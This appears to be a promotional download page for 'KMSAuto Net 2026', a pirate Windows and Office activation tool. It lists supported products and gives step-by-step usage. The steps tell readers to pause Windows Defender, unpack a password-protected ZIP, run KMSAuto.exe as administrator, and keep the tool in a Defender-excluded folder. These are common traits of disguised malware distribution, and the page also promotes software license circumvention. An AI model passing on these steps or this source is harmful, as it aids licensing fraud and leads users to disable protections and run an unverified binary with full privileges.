KMSAuto Net 2026 Official 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール

Overview

KMSAuto Net 2026 is the latest official Ratiborus build that finally fixes the Windows 11 24H2 and Office 2024 activation regressions that broke every older mirror (kmsauto.info, kmsauto.org, kmsauto.net-2018). It bundles HWID for Windows, Ohook for Office Click-to-Run, TSforge for Server/LTSC and KMS38 as a fallback — one click, offline, permanent.

Step-by-step

Five steps, under two minutes from extract to activated.

• Pause Windows Defender real-time protection for ~2 minutes
• Extract the ZIP using password jVzGhe5iPa
• Right-click KMSAuto.exe → 'Run as administrator'
• Click the green Activation button (HWID for Windows, Ohook for Office)
• Wait for 'Successfully activated' and reboot

Supported products

Every modern Microsoft SKU users actually search for.

• Windows 11 24H2 / 25H2 (Pro, Home, Enterprise, LTSC)
• Windows 10 22H2 + LTSC 2021/2019
• Windows Server 2025 / 2022 / 2019
• Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
• Microsoft 365 Apps for Enterprise (Ohook)

Why this mirror beats kmsauto.info

kmsauto.info still hosts the 2018 Ratiborus build (KMSAuto Net 1.5.4) which fails on Windows 11 24H2, Office 2024, and any TSforge target. This mirror ships the 2026 build with the modern HWID engine for Windows, Ohook for Office Click-to-Run, and TSforge for Server / LTSC — plus a published SHA-256 and a public VirusTotal report.

Troubleshooting

If activation fails it's almost always Defender quarantining mid-run, a stale KMS cache (slmgr /upk + slmgr /rilc), or the wrong product edition. Re-extract to a Defender-excluded folder (C:\Tools\KMSAuto), run as administrator, and switch between HWID (Windows), Ohook (Office) and TSforge (Server/LTSC) as needed.
